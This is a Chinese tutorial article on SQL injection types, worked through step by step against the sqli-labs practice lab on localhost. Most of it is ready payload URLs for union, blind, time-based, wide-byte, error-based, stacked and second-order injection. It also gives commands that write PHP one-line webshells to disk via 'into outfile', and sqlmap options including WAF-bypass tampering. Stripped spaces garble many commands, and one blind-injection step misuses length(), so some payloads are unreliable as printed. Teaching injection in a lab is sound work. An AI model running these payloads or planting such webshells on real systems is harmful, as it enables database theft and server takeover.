常见SQL注入类型及原理是什么
这篇“常见SQL注入类型及原理是什么”文章的知识点大部分人都不太理解，所以小编给大家总结了以下内容，内容详细，步骤清晰，具有一定的借鉴价值，希望大家阅读完这篇文章能有所收获，下面我们一起来看看这篇“常见SQL注入类型及原理是什么”文章吧。
Mysql基础Mysql安装
这里我们直接使用phpstudy集成环境中的mysql
Mysql常用命令
（1）mysql本地连接
mysql-hlocalhost-uroot–proot
参数 说明
-h 表示数据库连接地址，连接本机可不填,直接mysql -uroot -p
-u 表示要登录的用户
-p 表示使用密码登录
默认账/密：root/root
注：登录mysql时，-p后面不能有空格加密码，但-p空格，后面不加值是可以的
（2）查看所有数据库
showdatabases;
（3）使用数据库，注意sql语句后面要加分号
use数据库名;
（4）查看当前数据库中的表
showtables;
（5）查看表中字段结构，不爆出内容
describe表名;
（6）查看表中所有字段及内容（前提已经use了数据库）
select*from表名;
（7）向指定目录，如C:\WWW目录中写入peak.php一句话木马
select"<?php@eval($_REQUEST[peak]);?>"intooutfile"C:\\WWW\\peak.php";
或
select0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3eintooutfile"C:\\WWW\\peak.php";
注：
要使用两个\，两个\到目标服务器后变为一个\，若使用C:\WWW\peak.php，执行后会在MYSQL\data目录下生成WWWpeak.php文件，不是指定目录
另外，使用Hex编码时，不要加""了
（8）创建数据库
createdatabasepeak;
（9）删除数据库
dropdatabase库名;
（10）清空表
deletefrom表名;
（11）修改root密码
mysqladmin-uroot-ppassword新密码
之后输入原密码，即会修改成功
（12）查询当前数据库所在目录
select@@basedir;
（13）创建数据库
CREATEDATABASE[IFNOTEXISTS]<数据库名>
（14）创建表
CREATETABLEtable_name(column_namecolumn_type);
（15）创建字段
INSERTINTOusers(字段名)VALUES(“字段值");
（16）删除表中数据
DELETEFROM<表名>[WHERE子句][ORDERBY子句][LIMIT子句]
关键信息剖析
（1）information_schema
在MySQL中，把information_schema看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等
（2）information_schema数据库表常见参数说明:
•SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是showdatabases的结果取之此表。•TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是showtablesfromschemaname的结果取之此表。•COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是showcolumnsfromschemaname.tablename的结果取之此表。sql-labs环境搭建
靶场环境：
https://github.com/Audi-1/sqli-labs
什么是SQL注入？
SQL注入，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被"脱裤"。尽管如此，SQL注入仍是现在最常见的Web漏洞之一
SQL注入步骤
（1）判断是否存在注入，注入是字符型还是数字型
（2）猜解SQL查询语句中的字段数
（3）判断哪些位置字段可以注入利用
（4）查询数据库（当前使用数据库或所有数据库）
（5）查询指定数据库中的表
（6）查询指定表中的字段名
（7）查询表中字段的值
可以将SQL注入分为两大类：
非盲注和盲注，非盲注就是有报错回显，盲注就是没有报错回显
常见的SQL注入方法有：
联合注入
布尔盲注
时间盲注
宽字节注入
报错注入
堆叠注入
二次注入
数字型/字符型注入判断
首先id后面加单引号 查看是否可能存在sql注入，返回正常，不存在；返回不正常，存在
假设ip/?id=1
数字型，参数没有被引号包围：
id=1 and 1=1 返回页面正常
id=1 and 1=2 返回页面不正常
id=1’ and ‘1’=‘1 返回页面不正常
id=1’ and ‘1’=‘2 返回页面不正常
字符型，参数被引号包围：
id=1 and 1=1 返回页面正常或错误
id=1 and 1=2 返回页面正常或错误
id=1’ and ‘1’=‘1 返回页面正常
id=1’ and ‘1’='2 返回页面不正常
总结出两种测试方法：
and 1=1正常，1=2不正常，可能存在数字型注入/and 1=1正常或错误，1=2正常或错误，可能存在字符型注入
’ and ‘1’=‘1不正常，’ and ‘1’=‘2不正常，可能存在数字行注入/’ and ‘1’=‘1正常，’ and ‘1’='2不正常，可能存在字符型注入
原理
（1）union select定义
将多个SELECT语句的结果合并到一个结果集中
（2）mysql直观测试
SELECT*FROMusersWHEREid='1'unionselect*fromuserswhereid=2;
测试环境
Pass-1
相关函数
group_concat(参数1，参数2，参数3等等无数个参数)语法： group_concat函数返回一个字符串结果(就是返回一行)，该结果由括号中的各个参数值执行然后连接组合而成
char()：还原ASCII码为字符
注入过程
1、首先判断目标是否存在sql注入，是什么类型的sql注入
http://127.0.0.1/sqli-labs/Less-1/?id=1//返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1'//返回错误，可能存在SQL注入http://127.0.0.1/sqli-labs/Less-1/?id=1and1=1//返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1and1=2//返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=1//返回错误http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2//返回错误由此可见，$id后面可能还有sql语句http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=1--+//返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2--+//返回错误由此可见，目标存在sql注入，并且是字符型，该id变量后面还有其他的sql语句此时我们看一下源码，是否是字符型
2、测试步骤
（1）使用union select猜测目标SQL查询语句中select后面的字段数量，同时也测出了目标哪些位置的字段可以继续利用
（2）判断方法：回显错误表示不止当前字段数，回显正确表示就是这么多字段数
Payload：http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
注：这里的and 1=2是为了就将正确的id=1不显示，返回错误，显示后面union select语句的值，因为有时目标网站设置只回显一条数据库语句，容易造成判断失误
结果：这里SQL查询语句中select后面的字段数量是3个，2，3字段可以利用
（3）Payload
http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2unionselect1,database(),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2unionselect1,(selectgroup_concat(schema_name)frominformation_schema.schemata),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users'),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2unionselect1,(selectgroup_concat(username,char(32),password)fromusers),3%23
（4）拓展
还有一种方法，order by判断字段数
http://127.0.0.1/sqli-labs/Less-1/?id=1'and1=2orderby1%23
具体情况具体分析
0x02：布尔盲注原理
Web的页面的仅仅会返回True和False，那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息
测试环境
Pass-8
相关函数解析
（1）length：返回值为字符串的字节长度
（2）ascii：把字符转换成ascii码值的函数
（3）substr(str, pos, len)：在str中从pos开始的位置（起始位置为1），截取len个字符
（4）count：统计表中记录的一个函数，返回匹配条件的行数
（5）limit：
limit m ：检索前m行数据，显示1-10行数据（m>0）
limit(x,y)：检索从x+1行开始的y行数据
注入过程
1、判断数据库名称长度
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length(database()))=8%23
2、猜解数据库名
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),1,1)))=115%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),2,1)))=101%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),3,1)))=99%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),4,1)))=117%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),5,1)))=114%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),6,1)))=105%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),7,1)))=116%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(ascii(substr((selectdatabase()),8,1)))=121%23
3、判断数据库中表的数量
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=4%23
4、猜解其中第四个表名的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=5%23
5、猜解第四个表名
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=117%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=115%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=101%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=114%23http://127.0.0.1/sqli-labs/Less-8/?id=1'and(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit3,1)))=115%23第四个表名为users
6、判断users表中字段数量
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=3%23
7、判断第二个字段长度
http://127.0.0.1/sqli-labs/Less-8/?id=1'andlength((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit1,1))=8%23
8、猜解第二个字段名称
http://127.0.0.1/sqli-labs/Less-8/?id=1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit1,1),1,1))=117%23...第二个字段名称为username注：substr(参数1，参数2，参数3)，参数2中0和1都可表示从第一位字符开始，但这里只可以用1,0不可以，可能和数据库版本有关
9、猜解指定字段中值的数量
http://127.0.0.1/sqli-labs/Less-8/?id=1'and(selectcount(username)fromusers)=13%23
10、猜解第一个字段中第一个值的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1'andlength((selectusernamefromuserslimit0,1))=4%23
11、猜解第一个字段中第一个值的名称
http://127.0.0.1/sqli-labs/Less-8/?id=1'andascii(substr((selectusernamefromuserslimit0,1),1,1))=68%23...最后的值为Dumb0x03：时间盲注
原理
时间盲注的一般思路是延迟注入，就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3)，然后通过页面的响应时间长短来判断语句返回的值是True还是False，从而猜解一些未知的字段
测试环境
Less-9
相关函数
if(expr1,expr2,expr3)： expr1的值为TRUE，则返回值为expr2 ；expr1的值为FALSE，则返回值为expr3
sleep(n)：延迟响应时间n秒
Payload
http://127.0.0.1/sqli-labs/Less-9/?id=1'andif(1=1,sleep(4),null)%23http://127.0.0.1/sqli-labs/Less-9/?id=1'and(length(database()))=8andif(1=1,sleep(4),null)%23http://127.0.0.1/sqli-labs/Less-9/?id=1'and(ascii(substr((selectdatabase()),1,1)))=115andif(1=1,sleep(4),null)%230x04：宽字节注入
原理
当存在宽字节注入的时候，注入参数里带入％df％27，即可把（％5c）吃掉，也就是%df和%5c结合成了汉字運
测试环境
Pass-32
Payload
http://127.0.0.1/sqli-labs/Less-32/?id=1%df'and1=2unionselect1,2,3%23http://127.0.0.1/sqli-labs/Less-32/?id=1%df'and1=2unionselect1,(selectgroup_concat(schema_name)frominformation_schema.schemata),3%23http://127.0.0.1/sqli-labs/Less-32/?id=1%df'and1=2unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),3%23http://127.0.0.1/sqli-labs/Less-32/?id=1%df'and1=2unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users'),3%23http://127.0.0.1/sqli-labs/Less-32/?id=1%df'and1=2unionselect1,(selectgroup_concat(username,char(32),password)fromusers),3%230x05：报错注入
原理
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。
测试环境
Pass-5
相关函数
concat()函数：用于将多个字符串连接成一个字符串floor(x)函数：返回小于x的最大整数值rand()函数调：用可以在0和1之间产生一个随机数groupby语句：根据一个或多个列对结果集进行分组updatexml(目标xml文档，xml路径，更新的内容)：更新xml文档的函数，xpath_expr：需要更新的xml路径(Xpath格式)new_xml：更新后的内容此函数用来更新选定XML片段的内容，将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml，然后返回更改的XML。xml_target替换的部分与xpath_expr用户提供的XPath表达式匹配。extractvalue(目标xml文档，xml路径)：对XML文档进行查询的函数，一个XML标记片段xml_frag和一个XPath表达式xpath_expr（也称为定位器）;它返回CDATA第一个文本节点的text（），该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档，第二个参数是用Xpath路径法表示的查找路径，第二个参数xml中的位置是可操作的地方，xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容
参考
https://blog.51cto.com/wt7315/1891458
Payload
http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectnull,count(*),concat(database(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectnull,count(*),concat((selecttable_namefrominformation_schema.tableswheretable_schema='security'limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectnull,count(*),concat((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectnull,count(*),concat((selectusernamefromuserslimit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx%230x05-2：updatexml报错注入
Payload
http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectupdatexml(1,concat('~',(database()),'~'),3)%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectupdatexml(1,concat('~',(selecttable_namefrominformation_schema.tableswheretable_schema='security'limit0,1),'~'),3)%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectupdatexml(1,concat('~',(selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),'~'),3)%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectupdatexml(1,concat('~',(selectusernamefromuserslimit0,1),'~'),3)%230x05-3：extractvalue报错注入
Payload
http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectextractvalue(null,concat(0x7e,(database()),0x7e))%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectextractvalue(null,concat('~',(selecttable_namefrominformation_schema.tableswheretable_schema='security'limit0,1),'~'))%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectextractvalue(null,concat('~',(selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),'~'))%23http://127.0.0.1/sqli-labs/Less-5/?id=1'unionselectextractvalue(null,concat('~',(selectusernamefromuserslimit0,1),'~'))%230x06：堆叠注入
原理
堆叠注入与受限于select语句的联合查询法相反，堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询
堆叠注入的局限性：堆叠注入并不是在任何换环境下都可以执行的，可能受到API或者数据库引擎不支持的限制（如Oracle数据库），也有可能权限不足。web系统中，因为代码通常只返回一个查询结果，因此堆叠注入第二个语句产生错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。
测试环境
Pass-38
Payload
http://127.0.0.1/sqli-labs/Less-38/?id=1';createdatabasepeak%230x07：二次注入
原理
二次注入可以理解为，攻击者构造的恶意数据存储在数据库后，恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理，但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中（比如虽然参数在过滤后会添加"“进行转义，但是”"并不会插入到数据库中），当Web程序调用存储在数据库中的恶意数据并执行SQL查询时，就发生了SQL二次注入。
二次注入，可以概括为以下两步：
第一步：插入恶意数据
进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。
第二步：引用恶意数据
开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。
测试环境
Pass-24
Payload
（1）先创建一个含有注释符的用户 amin’#
（2）看下数据库，成功添加了记录
（3）源码sql语句分析：
原SQL语句：UPDATEusersSETPASSWORD='$pass'whereusername='$username'andpassword='$curr_pass'修改密码sql语句：UPDATEusersSETPASSWORD='$pass'whereusername='admin'#'andpassword='$curr_pass'最后真正执行的sql语句：UPDATEusersSETPASSWORD=‘$pass’whereusername='admin'
（4）最后修改admin’#的密码
（5）成功修改admin的密码
原理
利用文件的读写权限进行注入，它可以写入一句话木马，也可以读取系统文件的敏感信息
利用条件
secure_file_priv这个参数用来限制数据导入和导出
secure_file_priv=
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=F:
代表只能对该路径下文件进行读写
注
查看方法：show global variables like ‘%secure%’;
修改方法：my.ini函数，没有的话就直接添加
相关函数
load_file()：读取文件
into outfile：写入文件
测试环境
Pass-1
读文件
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:\1.txt’),3%23
写文件
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’<?php @eval($_POST["cmd"]);?>’,3 into outfile ‘F:\2.php’%23
sqlmap下载地址
http://sqlmap.org/
常用参数
-u：指定含有参数的URL--dbs：爆出数据库--batch：默认选择执行--random-agent：使用随机user-agent-r：POST注入--level：注入等级，一共有5个等级（1-5）不加level时，默认是1，5级包含的payload最多，会自动破解出cookie、XFF等头部注入，相对应他的速度也比较慢--timeout：设定重试超时--cookie：设置cookie信息--flush-session：删除指定目标缓存，重新对该目标进行测试--tamper：使用waf绕过脚本--time-sec：设定延时时间，默认是5秒--thread：多线程，默认为1，最大为10--keep-live：sqlmap默认是一次连接成功后马上关闭；HTTP报文中相当于Connection:Close（一次连接马上关闭）。要扫描站点的URL比较多时，这样比较耗费性能，所以需要将HTTP连接持久化来提高扫描性能；HTTP报文相当于Connection:Keep-Alive
示例
py-3sqlmap.py-u"http://127.0.0.1/sqli-labs/Less-8/?id=1"--dbs--random-agent--batch
以上就是关于“常见SQL注入类型及原理是什么”这篇文章的内容，相信大家都有了一定的了解，希望小编分享的内容对大家有帮助，若想了解更多相关的知识内容，请关注亿速云行业资讯频道。
声明：本站所有文章资源内容，如无特殊说明或标注，均为采集网络资源。如若本站内容侵犯了原著者的合法权益，可联系本站删除。
